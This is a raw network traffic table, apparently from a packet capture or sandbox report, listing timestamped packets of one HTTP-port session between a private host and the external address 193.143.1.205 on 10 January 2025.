Jan 10, 2025 22:48:26.835560083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.835566998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.835598946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.835599899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.835849047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.835870981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.835885048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.836011887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.836031914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.836735964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.878299952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.878323078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.878330946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.878386021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.878412962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.878422976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.878587008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.878592968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.878598928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.878607035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.878621101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.878719091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.878770113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.878777027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.878793001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.878894091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.878940105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.878946066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.878958941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.878972054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.879029036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.879029036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.879108906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.879121065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.879261971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.879267931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.879282951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.879287958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.879302979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.879318953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.879435062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.879446030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.879453897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.879463911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.879477024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.879569054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.879620075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.879631996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.879637957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.879643917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.879713058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.879774094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.879781008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.879808903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.879859924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.879942894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.879956007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.879961967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.879967928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.879975080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.879988909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.880004883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.880086899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.880093098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.880105972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.880110979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.880119085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.880125046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.880136967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.880145073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.880145073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.880162001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.880194902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.880377054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.880383015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.880390882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.880511999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.880520105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.880525112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.880531073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.880537033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.880542040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.880543947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.880570889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.880675077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.881028891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.881036997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.881048918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.881055117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.881067038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.881068945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.881072998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.881086111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.881093979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.881099939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.881102085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.881109953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.881113052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.881160021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.881166935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.881174088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.881179094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.881182909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.881186962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.881228924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.881228924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.881787062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.881793976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.881808043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.881814957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.881823063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.881856918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.881918907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.881959915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.881966114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.881973028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.881978989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.882106066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.882108927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.882117033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.882127047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.882133007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.882139921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.882147074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.882153034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.882164001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.882169962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.882179022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.882183075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.882198095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.882204056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.882206917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.882210970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.882216930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.882246017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.882252932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.882267952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.882272959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.882275105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.882354021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.883074045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.883083105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.883189917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.883985996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.885323048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.885468960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.885474920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.885489941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.885494947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.885503054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.885514975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.885538101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.885606050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.885607958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.887924910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.906824112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.911860943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.922122002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.922132015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.922141075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.922259092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.922266006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.922272921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.922297955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.922338963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.922338963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.922415972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.922424078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.922430992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.922435999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.922445059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.922509909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.922509909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.922569036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.922720909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.922727108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.922734022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.922744036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.922750950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.922800064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.922975063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.964453936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.964476109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.964485884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.964503050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.964509010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.964549065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.964605093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.964607000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.964611053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.964654922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.964687109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.964693069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.964704990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.964721918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.964754105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.964761019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.964787006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.964852095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.964858055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.964868069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.964881897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.964936972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.964936972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.964945078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.964951038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.964962006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.965061903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.965076923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.965079069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.965084076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.965097904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.965243101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.965255976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.965261936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.965269089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.965277910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.965280056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.965312958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.965459108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.965466022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.965478897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.965486050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.965498924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.965565920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.965576887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.965631008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.965663910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.965679884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.965692043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.965698004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.965704918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.965717077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.965723991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.965730906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.965734959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.965744019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.965760946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.965787888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.965787888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.966015100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966022968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966165066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966177940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966190100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966197014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966202974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966208935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966221094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966226101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966233969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966238976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966243029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.966253996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966260910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966262102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.966274023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966281891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966291904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.966332912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.966332912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.966830969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966836929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966842890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966856003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966862917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966875076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966880083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966887951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966893911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966897964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.966906071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966912031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966917992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966924906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.966931105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966938972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966944933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966952085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966953993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.966959000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966965914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.966974974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.966974974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.967000961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.967000961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.967518091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.967526913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.967533112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.967536926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.967544079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.967550993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.967555046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.967555046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.967557907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.967571020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.967580080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.967653990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.967653990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.997929096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.997951984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.997965097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.998047113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.998117924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.998156071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.998183966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.998205900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.998249054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.998389006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.998397112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.998409033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.998455048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.998481989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.998488903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.998502016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.998529911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.998568058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.998574018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.998574018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.998589993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.998595953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.998622894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.998650074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.998681068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.998687983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.998699903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.998753071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.998760939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.998768091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.998810053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.008150101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.008176088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.008189917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.008198023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.008204937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.008208990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.008239985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.008280993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.008315086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.008322954 CET	80	49730	193.143.1.205	192.168.2.4
